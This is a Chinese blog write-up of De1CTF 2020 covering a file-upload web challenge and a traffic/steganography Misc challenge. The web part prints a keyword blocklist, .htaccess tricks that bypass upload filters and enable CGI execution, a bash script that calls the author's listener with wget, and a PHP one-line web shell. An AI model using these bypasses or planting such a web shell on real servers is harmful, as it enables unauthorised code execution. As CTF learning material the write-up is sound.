De1CTF2020-WriteUp

前言

前两天的自闭De1CTF我只想说,真的太棒了,题目质量很高,水准真的没得说,学到不少东西。也看到了一些国外著名战队,膜拜一下,白天国内师傅疯狂上分,半夜又轮到国外的师傅,很激烈。当然国内外都有师傅通宵干哈哈哈。
相比之下ISCC2020我也没啥好说的了,国内的CTF环境真的是个迷。不管怎样,还是希望国内这一块越走越好吧。不过起码De1CTF还是咱们国内的社区承办的
然后博主也是很有自知之明,去当个分母而已,就死磕最多人解出的两道题(非签到),其它的看都不看了just do it。

WEB

CheckIn


一道上传题。
简单的测了一下过滤。
首先文件名过滤ph。
文件内容过滤perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!
然后也通过Content-Type判断文件格式。
发现环境是

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

找了一下存在CVE-2017-15715漏洞,但是不顶用,因为ph被过滤了。
最后就是改Content-Type: image/jpeg就可以上传任意文件了,但是内容被限制了,像php这种也是被过滤的。
就想到短标签,采用<?。

然后就是解析,首先这里是没有明显的可以用来包含的地方。然后因为可以上传任意文件,就想到了用.htaccess来解析。

但是,改解析的内容也包含了php,传不上去。。。
哭了,疯狂地搜索htaccess的奇淫技巧,看到了一篇利用htaccess调用CGI执行命令的文章。
https://www.freebuf.com/vuls/218495.html
然后看到过滤里是没有bash的,兴奋起来了。
按照文章的思路测试
上传.htaccess

1
2
Options ExecCGI
AddHandler cgi-script .xx

再上传1.xx,要验证命令是否执行,我用wget来请求我的监听服务器。

1
2
#!/bin/bash
wget 111.111.111.111:12345

访问1.xx

500了,服务器监听也没结果。然后我上传一张正常的图片,正常访问,说明.htaccess文件格式没错。
那是不是没有wget呢,于是我又测试了nc,一样没反应。同样的也测试了FastCGI,都不行。然后就放弃了这条思路,和胜利擦肩而过,回想一下这点错就错在使用了不靠谱的方法来检验命令执行。
回到解析的思路上,因为前面有CVE-2017-15715的换行绕过黑名单,所以这里想到这个htaccess可以不可以用换行来绕过过滤。
于是我尝试了直接回车换行。

1
2
AddType application/x-httpd-p
hp .jpg

以及插入一个0x0A。区别就是直接在内容中回车是回车换行\r\n两个字节也就是0x0D和0x0A,直接插入0x0A就只是换行。
但是都不行,全部500了,说明格式错误了。到这里是彻底放弃了。又和胜利擦肩而过,但凡再搜一下htaccess的换行方式也不会这么惨了哈哈。。
然后接下来是别人的wp了orz,先说预期解。
预期解还真是用CGI调用来执行命令。先看一个比较正规的CGI编程解。

1
2
3
4
#!/bin/bash
echo "Content-Type:text/html;charset=utf-8"
echo "" #空行,结束头
echo cat /flag

反正我是复现不出来,依旧500。
但是有个国外的师傅发现虽然是500状态码,但是命令已经执行了,他利用的是touch 123.txt,然后访问发现确实创建了文件最后通过cp /flag ./flag.txt获取flag。但我按照他的思路也复现不了,不过还是不得不佩服一下,毕竟自己没想到这个简单的验证思路。
然后就是非预期解了,这个是真的可惜。
非预期确确实实是htaccess换行绕过,但是却是这样的。

1
2
AddType application/x-httpd-p\
hp .jpg

真的自闭了啊。
然后复现也踩坑了,短标签<?是不解析的,linux下默认关闭,但win是默认开启的。搞得我一度怀疑自己被针对。但是<?=是可以解析的。

1
<?=assert($_POST["test"]);

我也不知道为啥我的@eval也用不了,真的脸太黑了?唉T.T

最后没啥好说的了。通读三篇官方文档,做了一点点测试和总结。
https://www.php.net/manual/zh/configuration.file.per-user.php
https://www.php.net/manual/zh/language.basic-syntax.phptags.php
https://www.php.net/manual/zh/ini.core.php#ini.short-open-tag
首先短标签是需要开启short_open_tag的,linux默认是关闭的,但是php5.4后<?=短标签总是可用的,而<?则受这项设置影响。
因为有参考一道类似题,SUCTF2019的同名题,所以我想到了既然可以上传任意文件,那我是否可以上传.user.ini来开启短标签呢?但是测试不成功,我从官方文档找到失败的可能原因就是php.ini里的一项设置。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

也就是说.user.ini并不是实时生效的,而题目的环境5分钟重置一次,所以很难验证。
官方文档有说,apache的htaccess可以达到.user.ini的同样效果,经过我的搜索,找到了php_value的设置方法。

1
php_value short_open_tag 1

Misc

Misc_Chowder

下放文件也是用的googledrive。

下载下来是一个Misc_Chowder.pacp流量包,直接WireShark分析。过滤出http,发现上传动作。

看到在120开头的ip里上传了6次图片,1.jpg,2.jpg…
还原出来1.jpg发现是正常图片,感觉是干扰的,然后在流量末尾发现往另一个ip上传一张7.png

还原出来是一个网盘的链接的图片。

提取网站下载文件,一个readme.zip,里面有一个readme.docx,打开看一下只有两个表情包。。。这个也没啥考点了,改zip后缀用压缩程序打开。

提取出压缩包,里面是一张图片,发现加密。根据举办方的hint,按格式DE****进行破解,跑了20多分钟得到密码:DE34Q1
解压得到图片。

。。。。。。看了一下这张图片大小有28k,用binwalk看一下。

有个RAR压缩包,加个e参数分解一下。

RAR里两个txt都没用,fake flag。
然后就是第一大坑。

这张写着“I AM FLAG”的666.jpg,它其实是一张png,让我一度认为flag在它这里,我一顿分析,各种常规套路都试了。
最后挂在这里了。后来看师傅们的wp,竟然是ADS隐写。。。
回到RAR压缩包,重新审视这个RAR,用winhex打开。

在末尾可以发现一个fffffffflllll.txt的文件名,这个STM是NTFS ADS的一种标记头,ADS的格式都是”宿主文件”:”附属文件”,dir /r才可以看到。

1
notepad 666.jpg:fffffffflllll.txt


最后说一下第二大坑,测试发现只有用winrar解压出来才能还原出这个交换数据流。orz

文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/05/05/De1CTF-2020-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog